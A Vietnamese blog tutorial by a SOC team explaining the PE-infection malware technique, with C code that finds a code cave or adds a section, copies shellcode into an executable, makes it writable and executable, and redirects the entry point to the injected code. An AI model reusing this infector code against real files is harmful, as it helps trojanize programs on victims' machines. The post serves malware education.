PE INJECTION

Mã độc tồn tại trên máy tính và thực vi các hành vi “phá hoại” phục vụ mục đích của kẻ tấn công, nhưng để làm được điều đó nó cần phải đc thực thi, hay nó phải tìm cách để chạy được trên hệ thống máy tính. Có nhiều kỹ thuật để mã độc có thể “running” trên hệ thống máy tính, và một trong những kỹ thuật điển hình là PE Injection. Đây có thể coi là một trong những kỹ thuật cơ bản mà mã độc thường sử dụng. Mục tiêu của mình là sẽ trình bày 1 list các kỹ thuật và mình sẽ bắt đầu bằng PE Injection.

PE infection là kỹ thuật chèn code tùy ý vào một file PE. Nhìn chung, kỹ thuật này khá dễ thực hiện và có thể dễ dàng được phát hiện bởi các chương trình antivirus. Mặc dù vậy, báo cáo của Madiant khi rà quét trên hệ  từ 2010 đến  2021, cho thấy kỹ thuật này vẫn được sử dụng rất nhiều.

Các bước thực hiện kỹ thuật:

  • Tạo shellcode để thực hiện hành vi độc hại
  • Chỉnh sửa shellcode
  • Đọc file PE
  • Tìm hoặc thêm vị trí để chèn shellcode và chèn shellcode
  • Chỉnh sửa các trường file PE

Trong bài viết này, shellcode sẽ được thực thi trước khi thực hiện các chức năng ban đầu của file bị lây nhiễm. Thực tế, shellcode có thể thực thi trước, sau hoặc song song với luồng thực thi chính.

Và trước tiên bạn cần chuẩn bị 1 đoạn shellcode.

1. Tạo shellcode

Mình sẽ tạo một đoạn shellcode đơn giản. Shellcode này lợi dụng cấu trúc của PEB để thực hiện các chức năng sau:

Đầu tiền là cần phải tìm được địa chỉ của kernel32.dll, nếu bạn mới bắt đầu với shellcode một trong những điều khá phổ biến là việc tìm địa chỉ của Kernel32.dll và các hàm và tại sao cần làm điều đó, mình sẽ trình bày ở 1 bài viết khác cụ thể hơn nhé!

Lệnh Ret sẽ chuyển hướng luồng thực thi của chương trình đến đia chỉ trả về được đặt ở trên đỉnh của stack. Địa chỉ trả về sẽ là OEP của đối tượng bị lây nhiễm. Vì mỗi đối tượng có một OEP khác nhau, nên giá trị 0xAAAAAAAA có tác dụng để đánh dấu và sẽ được sửa lại trong quá trình lây nhiễm.

2. Chỉnh sửa shellcode

Chỉnh sửa ở đây chính là giá trị 0xAAAAAAAA (tạm gọi là giá trị đánh dấu) trong shellcode thành OEP, để sau khi shellcode thực thi có thể tiếp tục thực thi tại vị trí OEP của file bị lây nhiễm.

Đoạn code thực hiện việc này:

PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpFileAddr;

PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpFileAddr + pDosHdr->e_lfanew);

PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs);

DWORD dwOEP = pNtHdrs->OptionalHeader.AddressOfEntryPoint;

        //2.1 Replace 0xAAAAAAAA with OEP

for (DWORD i = 0; i < dwShellSize; i++) {

     if (*((LPDWORD)(shellcode + i)) == 0xaaaaaaaa) {

          *((LPDWORD)(shellcode + i)) = dwOEP;

                break;

     }

}                                 

3. Đọc file PE

Bước này chỉ đơn giản đọc file PE để chuẩn bị chèn shellcode và chỉnh sửa các trường của file PE.

HANDLE hFile = CreateFileA(
lpFileName,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL

);

DWORD dwFileSize = GetFileSize(hFile, NULL);

HANDLE hFileMapping = CreateFileMapping(
hFile,
NULL,
PAGE_READWRITE,
0,
dwFileSize,
NULL

);

LPBYTE lpFileAddr = (LPBYTE)MapViewOfFile(
hFileMapping,
FILE_MAP_READ | FILE_MAP_WRITE,
0,
0,
dwFileSize

);

4. Tìm vị trí hoặc thêm section để chèn shellcode

4.1 Tìm vị trí (codecave) phù hợp

Vì mỗi section của file PE khi được lưu trên disk sẽ có độ dài là bội số của trường FileAlignment, nên thường sẽ có những vùng nhớ trống, được gọi là codecave, ở cuối các section. Shellcode có thể chèn vào bất kì section nào, miễn là codecave có độ lớn phù hợp. Trong bài viết này, shellcode sẽ được chèn vào codecave phù hợp đầu tiên tìm được.

DWORD dwCount = 0;

DWORD dwPos;

LPVOID lpShellAddr = 0;

for (dwPos = pNtHdrs->OptionalHeader.SizeOfHeaders; dwPos < dwFileSize; dwPos++)

{

if (*(lpFileAddr + dwPos) == 0x00) {

if (dwCount++ == dwShellSize)

{

lpShellAddr = (LPVOID)(lpFileAddr + dwPos – dwShellSize);

break;

}

}

else {

dwCount = 0;

}

}

4.2 Thêm section

Trong trường hợp không tìm được codecave phù hợp, ta có thể tạo thêm một section mới để chứa shellcode.

DWORD dwNewSecRVA = 0, dwNewSecRaw = 0;

if (!lpShellAddr) {

while (pSecHdr->SizeOfRawData != 0) {

pSecHdr++;

}

dwNewSecRVA = pSecHdr->VirtualAddress + pSecHdr->Misc.VirtualSize;

dwNewSecRaw = pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData;

// Update the section count in the NT headers

pNtHdrs->FileHeader.NumberOfSections++;

 

// Update section name

strncpy((char*)pSecHdr->Name, “./001”, IMAGE_SIZEOF_SHORT_NAME);

 

// Update the size of image in the NT headers

pNtHdrs->OptionalHeader.SizeOfImage += pNtHdrs->OptionalHeader.SectionAlignment;

 

// Update the last section header’s size and virtual size

pSecHdr->SizeOfRawData = pNtHdrs->OptionalHeader.FileAlignment;

pSecHdr->Misc.VirtualSize = pNtHdrs->OptionalHeader.SectionAlignment;

 

// Update the last section header’s RAW offset and RVA

pSecHdr->PointerToRawData = dwNewSecRaw;

pSecHdr->VirtualAddress = dwNewSecRVA;

 

// Zero out the new section’s data in memory

ZeroMemory((LPVOID)(

(DWORD)lpFileAddr + dwNewSecRaw),

pNtHdrs->OptionalHeader.FileAlignment

);

lpShellAddr = (LPVOID)(lpFileAddr + dwNewSecRaw);

printf(“[+] Added section %s”, pSecHdr->Name);

}

Thực hiện chèn shellcode bằng hàm memcpy()

memcpy(lpShellAddr, shellcode, dwShellSize)

5. Chỉnh sửa lại các trường của PE

//update virtual size

pSecHdr[i].Misc.VirtualSize += dwShellSize;

//update section characteristic

pSecHdr[i].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;

//update entry point

pNtHdrs->OptionalHeader.AddressOfEntryPoint = shellOffset – pSecHdr[i].PointerToRawData

+ pSecHdr[i].VirtualAddress;

Kết quả

File trước khi bị lây nhiễm khi thực thi chỉ in chuỗi “Processing…”

Sau khi bị lây nhiễm, mã độc hiển thị thêm một message box như hình dưới:

 

Ở bài tiếp theo mình sẽ trình bày về kỹ thuật tìm địa chỉ kernel32 và các hàm API cần dùng!!

By,

SOC_Team

1.887 lượt xem